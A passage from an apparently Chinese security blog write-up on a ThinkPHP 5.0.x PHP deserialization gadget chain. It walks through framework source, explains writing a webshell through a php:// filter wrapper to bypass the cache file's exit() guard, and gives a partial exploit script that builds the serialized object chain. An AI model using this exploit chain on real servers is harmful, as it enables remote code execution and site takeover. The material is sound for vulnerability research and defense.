class="variable">$key</span> => <span class="variable">$val</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$val</span> <span class="keyword">instanceof</span> Model || <span class="variable">$val</span> <span class="keyword">instanceof</span> ModelCollection) {</span><br><span class="line"> <span class="comment">// 关联模型对象</span></span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable language_">$this</span>-><span class="title function_ invoke__">subToArray</span>(<span class="variable">$val</span>, <span class="variable">$visible</span>, <span class="variable">$hidden</span>, <span class="variable">$key</span>);</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="title function_ invoke__">is_array</span>(<span class="variable">$val</span>) && <span class="title function_ invoke__">reset</span>(<span class="variable">$val</span>) <span class="keyword">instanceof</span> Model) {</span><br><span class="line"> <span class="comment">// 关联模型数据集</span></span><br><span class="line"> <span class="variable">$arr</span> = [];</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$val</span> <span class="keyword">as</span> <span class="variable">$k</span> => <span class="variable">$value</span>) {</span><br><span class="line"> <span class="variable">$arr</span>[<span class="variable">$k</span>] = <span class="variable language_">$this</span>-><span class="title function_ invoke__">subToArray</span>(<span class="variable">$value</span>, <span class="variable">$visible</span>, <span class="variable">$hidden</span>, <span class="variable">$key</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable">$arr</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 模型属性</span></span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$key</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 追加属性(必须定义获取器)</span></span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable language_">$this</span>->append)) {</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable language_">$this</span>->append <span class="keyword">as</span> <span class="variable">$key</span> => <span class="variable">$name</span>) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">is_array</span>(<span class="variable">$name</span>)) {</span><br><span class="line"> <span class="comment">// 追加关联对象属性</span></span><br><span class="line"> <span class="variable">$relation</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$key</span>);</span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable">$relation</span>-><span class="title function_ invoke__">append</span>(<span class="variable">$name</span>)-><span class="title function_ invoke__">toArray</span>();</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="title function_ invoke__">strpos</span>(<span class="variable">$name</span>, <span class="string">'.'</span>)) {</span><br><span class="line"> <span class="keyword">list</span>(<span class="variable">$key</span>, <span class="variable">$attr</span>) = <span class="title function_ invoke__">explode</span>(<span class="string">'.'</span>, <span class="variable">$name</span>);</span><br><span class="line"> <span class="comment">// 追加关联对象属性</span></span><br><span class="line"> <span class="variable">$relation</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$key</span>);</span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable">$relation</span>-><span class="title function_ invoke__">append</span>([<span class="variable">$attr</span>])-><span class="title function_ invoke__">toArray</span>();</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$relation</span> = <span class="title class_">Loader</span>::<span class="title function_ invoke__">parseName</span>(<span class="variable">$name</span>, <span class="number">1</span>, <span class="literal">false</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">method_exists</span>(<span class="variable">$this</span>, <span class="variable">$relation</span>)) {</span><br><span class="line"> <span class="variable">$modelRelation</span> = <span class="variable language_">$this</span>-><span class="variable">$relation</span>();</span><br><span class="line"> <span class="variable">$value</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getRelationData</span>(<span class="variable">$modelRelation</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">method_exists</span>(<span class="variable">$modelRelation</span>, <span class="string">'getBindAttr'</span>)) {</span><br><span class="line"> <span class="variable">$bindAttr</span> = <span class="variable">$modelRelation</span>-><span class="title function_ invoke__">getBindAttr</span>();</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$bindAttr</span>) {</span><br><span class="line"> <span class="keyword">foreach</span> (<span class="variable">$bindAttr</span> <span class="keyword">as</span> <span class="variable">$key</span> => <span class="variable">$attr</span>) {</span><br><span class="line"> <span class="variable">$key</span> = <span class="title function_ invoke__">is_numeric</span>(<span class="variable">$key</span>) ? <span class="variable">$attr</span> : <span class="variable">$key</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span>(<span class="variable language_">$this</span>->data[<span class="variable">$key</span>])) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="string">'bind attr has exists:'</span> . <span class="variable">$key</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable">$value</span> ? <span class="variable">$value</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$attr</span>) : <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$name</span>] = <span class="variable">$value</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="variable">$item</span>[<span class="variable">$name</span>] = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$name</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> !<span class="keyword">empty</span>(<span class="variable">$item</span>) ? <span class="variable">$item</span> : [];</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>在这段代码中值得注意的是</p><p><img src="https://img-blog.csdnimg.cn/de046c6d69424c5f9229c2316c8655fe.png" alt="在这里插入图片描述"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable">$relation</span>-><span class="title function_ invoke__">append</span>(<span class="variable">$name</span>)-><span class="title function_ invoke__">toArray</span>();</span><br><span class="line"></span><br><span class="line"><span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable">$relation</span>-><span class="title function_ invoke__">append</span>([<span class="variable">$attr</span>])-><span class="title function_ invoke__">toArray</span>();</span><br><span class="line"></span><br><span class="line"><span class="variable">$bindAttr</span> = <span class="variable">$modelRelation</span>-><span class="title function_ invoke__">getBindAttr</span>();</span><br><span class="line"></span><br><span class="line"><span class="variable">$item</span>[<span class="variable">$key</span>] = <span class="variable">$value</span> ? <span class="variable">$value</span>-><span class="title function_ invoke__">getAttr</span>(<span class="variable">$attr</span>) : <span class="literal">null</span>;</span><br></pre></td></tr></table></figure><p>这四处是可以调用到__call 方法的</p><p>例如用第四处进行调用</p><p><code>$modelRelation</code> 是通过 <code>$this->getAttr($key)</code> 赋值<br>要调用 <code>Output</code> 下的__call,这里的 <code>$value</code> 也需要时 <code>Output</code> 的对象</p><p>其中 <code>getRelationData</code> 对获取的值进行处理</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">getRelationData</span>(<span class="params">Relation <span class="variable">$modelRelation</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable language_">$this</span>-><span class="built_in">parent</span> && !<span class="variable">$modelRelation</span>-><span class="title function_ invoke__">isSelfRelation</span>() && <span class="title function_ invoke__">get_class</span>(<span class="variable">$modelRelation</span>-><span class="title function_ invoke__">getModel</span>()) == <span class="title function_ invoke__">get_class</span>(<span class="variable">$this</span>-><span class="built_in">parent</span>)) {</span><br><span class="line"> <span class="variable">$value</span> = <span class="variable language_">$this</span>-><span class="built_in">parent</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 首先获取关联数据</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">method_exists</span>(<span class="variable">$modelRelation</span>, <span class="string">'getRelation'</span>)) {</span><br><span class="line"> <span class="variable">$value</span> = <span class="variable">$modelRelation</span>-><span class="title function_ invoke__">getRelation</span>();</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">BadMethodCallException</span>(<span class="string">'method not exists:'</span> . <span class="title function_ invoke__">get_class</span>(<span class="variable">$modelRelation</span>) . <span class="string">'-> getRelation'</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$value</span>;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>跟进到 <code>isSelfRelation</code> 和 <code>getModel</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">isSelfRelation</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>->selfRelation;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getModel</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>->query-><span class="title function_ invoke__">getModel</span>();</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getModel</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>->model;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>发现都是可控的</p><p>上面提到 <code>$value</code> 需要是 <code>Output</code> 的对象<br>当然这里的参数也需要是该类对象<br><img src="https://img-blog.csdnimg.cn/294911eb27d54342bf84d2cf649436e6.png" alt="在这里插入图片描述"></p><p>也就是 <code>return $this->model;</code> 和 <code>get_class($this->parent)</code> 为同类</p><p>接着跟进 <code>getBindAttr</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getBindAttr</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>->bindAttr;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>依然可控</p><p>那就可以执行最后 <code>$item[$key] = $value ? $value->getAttr($attr) : null;</code></p><p>那么下面就来分析这个类<br><img src="https://img-blog.csdnimg.cn/4b1cbc5256b2443eb9be445bfa539bf7.png" alt="在这里插入图片描述"><br>首先看下回调的 <code>block</code> 方法<br>一直跟进到<br><img src="https://img-blog.csdnimg.cn/4b1cbc5256b2443eb9be445bfa539bf7.png" alt="在这里插入图片描述"><br>注意到 <code>handle</code> 可控,搜索下调用的 <code>write</code> 方法<br> <code>Memcached.php</code> <br><img src="https://img-blog.csdnimg.cn/aa70d58ebd774ccba6e1c2c140a8dfa4.png" alt="在这里插入图片描述"></p><p>接着搜索 <code>set</code> 方法<br> <code>File.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">set</span>(<span class="params"><span class="variable">$name</span>, <span class="variable">$value</span>, <span class="variable">$expire</span> = <span class="literal">null</span></span>)</span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="title function_ invoke__">is_null</span>(<span class="variable">$expire</span>)) {</span><br><span class="line"> <span class="variable">$expire</span> = <span class="variable language_">$this</span>->options[<span class="string">'expire'</span>];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$expire</span> <span class="keyword">instanceof</span> \DateTime) {</span><br><span class="line"> <span class="variable">$expire</span> = <span class="variable">$expire</span>-><span class="title function_ invoke__">getTimestamp</span>() - <span class="title function_ invoke__">time</span>();</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$filename</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">getCacheKey</span>(<span class="variable">$name</span>, <span class="literal">true</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable language_">$this</span>->tag && !<span class="title function_ invoke__">is_file</span>(<span class="variable">$filename</span>)) {</span><br><span class="line"> <span class="variable">$first</span> = <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$data</span> = <span class="title function_ invoke__">serialize</span>(<span class="variable">$value</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable language_">$this</span>->options[<span class="string">'data_compress'</span>] && <span class="title function_ invoke__">function_exists</span>(<span class="string">'gzcompress'</span>)) {</span><br><span class="line"> <span class="comment">//数据压缩</span></span><br><span class="line"> <span class="variable">$data</span> = <span class="title function_ invoke__">gzcompress</span>(<span class="variable">$data</span>, <span class="number">3</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$data</span> = <span class="string">"<?php\n//"</span> . <span class="title function_ invoke__">sprintf</span>(<span class="string">'%012d'</span>, <span class="variable">$expire</span>) . <span class="string">"\n exit();?>\n"</span> . <span class="variable">$data</span>;</span><br><span class="line"> <span class="variable">$result</span> = <span class="title function_ invoke__">file_put_contents</span>(<span class="variable">$filename</span>, <span class="variable">$data</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$result</span>) {</span><br><span class="line"> <span class="keyword">isset</span>(<span class="variable">$first</span>) && <span class="variable language_">$this</span>-><span class="title function_ invoke__">setTagItem</span>(<span class="variable">$filename</span>);</span><br><span class="line"> <span class="title function_ invoke__">clearstatcache</span>();</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>注意到<br><img src="https://img-blog.csdnimg.cn/7ed8e9c4bf55478db18c1222aeffc11d.png" alt="在这里插入图片描述"><br>可以通过伪协议写入 <code>shell</code> 并绕过死亡 <code>exit</code></p><p><img src="https://img-blog.csdnimg.cn/bf4b247fd202475dbc387ca2785999ed.png" alt="在这里插入图片描述"><br><img src="https://img-blog.csdnimg.cn/798a22f3fd86446cbcccfea96aa7fa98.png" alt="在这里插入图片描述"><br>由于最后调用 set 方法中的参数来自先前调用的 write 方法只能为 true,且这里 $expire 只能为数值,这样文件内容就无法写 shell</p><p>所以后面无法在文件内容写入 <code>shell</code></p><p>在后面的 <code>setRagItem</code> 函数会再次执行 <code>set</code> 方法</p><h3 id="过程"><a class="markdownIt-Anchor" href="#过程">#</a> 过程</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">Windows</span>::<span class="title function_ invoke__">__destruct</span>()-><span class="title function_ invoke__">removeFiles</span>()</span><br><span class="line">↓</span><br><span class="line"><span class="title class_">Model</span>::<span class="title function_ invoke__">__toString</span>()-><span class="title function_ invoke__">toJson</span>()</span><br><span class="line">↓</span><br><span class="line"><span class="title class_">Model</span>::<span class="title function_ invoke__">tiJson</span>()-><span class="title function_ invoke__">toArray</span>()</span><br><span class="line">↓</span><br><span class="line"><span class="title class_">Model</span>::<span class="title function_ invoke__">toArrray</span>()-><span class="title function_ invoke__">getAttr</span>()</span><br><span class="line">↓</span><br><span class="line"><span class="title class_">Output</span>::<span class="title function_ invoke__">__call</span>()-><span class="title function_ invoke__">block</span>()</span><br><span class="line">↓</span><br><span class="line"><span class="title class_">Output</span>::<span class="title function_ invoke__">block</span>()-><span class="title function_ invoke__">writeln</span>()</span><br><span class="line">↓</span><br><span class="line"><span class="title class_">Output</span>::<span class="title function_ invoke__">writeln</span>()-><span class="title function_ invoke__">write</span>()</span><br><span class="line">↓</span><br><span class="line"><span class="title class_">Output</span>::<span class="title function_ invoke__">write</span>()-><span class="title function_ invoke__">write</span>()</span><br><span class="line">↓</span><br><span class="line"><span class="title class_">Memcached</span>::<span class="variable constant_">write</span>-><span class="title function_ invoke__">set</span>()</span><br><span class="line">↓</span><br><span class="line"><span class="title class_">File</span>::<span class="title function_ invoke__">set</span>()-><span class="title function_ invoke__">setTagItem</span>()</span><br><span class="line">↓</span><br><span class="line"><span class="title class_">Driver</span>::<span class="title function_ invoke__">setTagItem</span>()-><span class="title function_ invoke__">set</span>()</span><br></pre></td></tr></table></figure><p>偷了一位师傅的图<br>非常详细<br><img src="https://img-blog.csdnimg.cn/6cfaf3b523cb4b3080920924f6924c5d.png" alt="在这里插入图片描述"></p><p>这里可能有些内容写的不是很详细<br>还请各位读者谅解</p><h3 id="exp"><a class="markdownIt-Anchor" href="#exp">#</a> EXP</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">think</span>\<span class="title class_">process</span>\<span class="title class_">pipes</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">Pivot</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Pipes</span></span>{</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Windows</span> <span class="keyword">extends</span> <span class="title">Pipes</span></span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$files</span> = [];</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="variable language_">$this</span>->files = [<span class="keyword">new</span> <span class="title class_">Pivot</span>()];</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">think</span>\<span class="title class_">model</span>;<span class="comment">#Relation</span></span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">db</span>\<span class="title">Query</span>;</span><br><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Relation</span></span>{</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$selfRelation</span>;</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$query</span>;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="variable language_">$this</span>->selfRelation = <span class="literal">false</span>;</span><br><span class="line"> <span class="variable language_">$this</span>->query = <span class="keyword">new</span> <span class="title class_">Query</span>();<span class="comment">#class Query</span></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">think</span>\<span class="title class_">model</span>\<span class="title class_">relation</span>;<span class="comment">#OneToOne HasOne</span></span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">Relation</span>;</span><br><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">OneToOne</span> <span class="keyword">extends</span> <span class="title">Relation</span></span>{</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="built_in">parent</span>::<span class="title function_ invoke__">__construct</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">HasOne</span> <span class="keyword">extends</span> <span class="title">OneToOne</span></span>{</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$bindAttr</span> = [];</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="built_in">parent</span>::<span class="title function_ invoke__">__construct</span>();</span><br><span class="line"> <span class="variable language_">$this</span>->bindAttr = [<span class="string">"no"</span>,<span class="string">"123"</span>];</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">think</span>\<span class="title class_">console</span>;<span class="comment">#Output</span></span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">session</span>\<span class="title">driver</span>\<span class="title">Memcached</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Output</span></span>{</span><br><span class="line"> <span class="keyword">private</span> <span class="variable">$handle</span> = <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$styles</span> = [];</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="variable language_">$this</span>->handle = <span class="keyword">new</span> <span class="title class_">Memcached</span>();<span class="comment">//目的调用其write()</span></span><br><span class="line"> <span class="variable language_">$this</span>->styles = [<span class="string">'getAttr'</span>];</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">think</span>;<span class="comment">#Model</span></span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">model</span>\<span class="title">relation</span>\<span class="title">HasOne</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">console</span>\<span class="title">Output</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">db</span>\<span class="title">Query</span>;</span><br><span class="line"><span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">Model</span></span>{</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$append</span> = [];</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$error</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="variable">$parent</span>;<span class="comment">#修改处</span></span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$selfRelation</span>;</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$query</span>;</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$aaaaa</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="built_in">parent</span> = <span class="keyword">new</span> <span class="title class_">Output</span>();<span class="comment">#Output对象,目的是调用__call()</span></span><br><span class="line"> <span class="variable language_">$this</span>->append = [<span class="string">'getError'</span>];</span><br><span class="line"> <span class="variable language_">$this</span>->error = <span class="keyword">new</span> <span class="title class_">HasOne</span>();<span class="comment">//Relation子类,且有getBindAttr()</span></span><br><span class="line"> <span class="variable language_">$this</span>->selfRelation = <span class="literal">false</span>;<span class="comment">//isSelfRelation()</span></span><br><span class="line"> <span class="variable language_">$this</span>->query = <span class="keyword">new</span> <span class="title class_">Query</span>();</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">think</span>\<span class="title class_">db</span>;<span class="comment">#Query</span></span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">console</span>\<span class="title">Output</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Query</span></span>{</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$model</span>;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="variable language_">$this</span>->model = <span class="keyword">new</span> <span class="title class_">Output</span>();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">think</span>\<span class="title class_">session</span>\<span class="title class_">driver</span>;<span class="comment">#Memcached</span></span><br><span class="line"><span class="keyword">use</span> <span class="title">think</span>\<span class="title">cache</span>\<span class="title">driver</span>\<span class="title">File</span>;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Memcached</span></span>{</span><br><span class="line"> <span class="keyword">protected</span> <span class="variable">$handler</span> = <span class="literal">null</span>;</span><br><span class="line"> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>{</span><br><span class="line"> <span class="variable language_">$this</span>->handler = <span class="keyword">new</span> <span class="title class_">File</span>();<span class="comment">//目的调用File->set()</span></span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">think</span>\<span class="title class_">cache</span>\<span class="title class_">driver</span>;<span class="comment">#File</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span 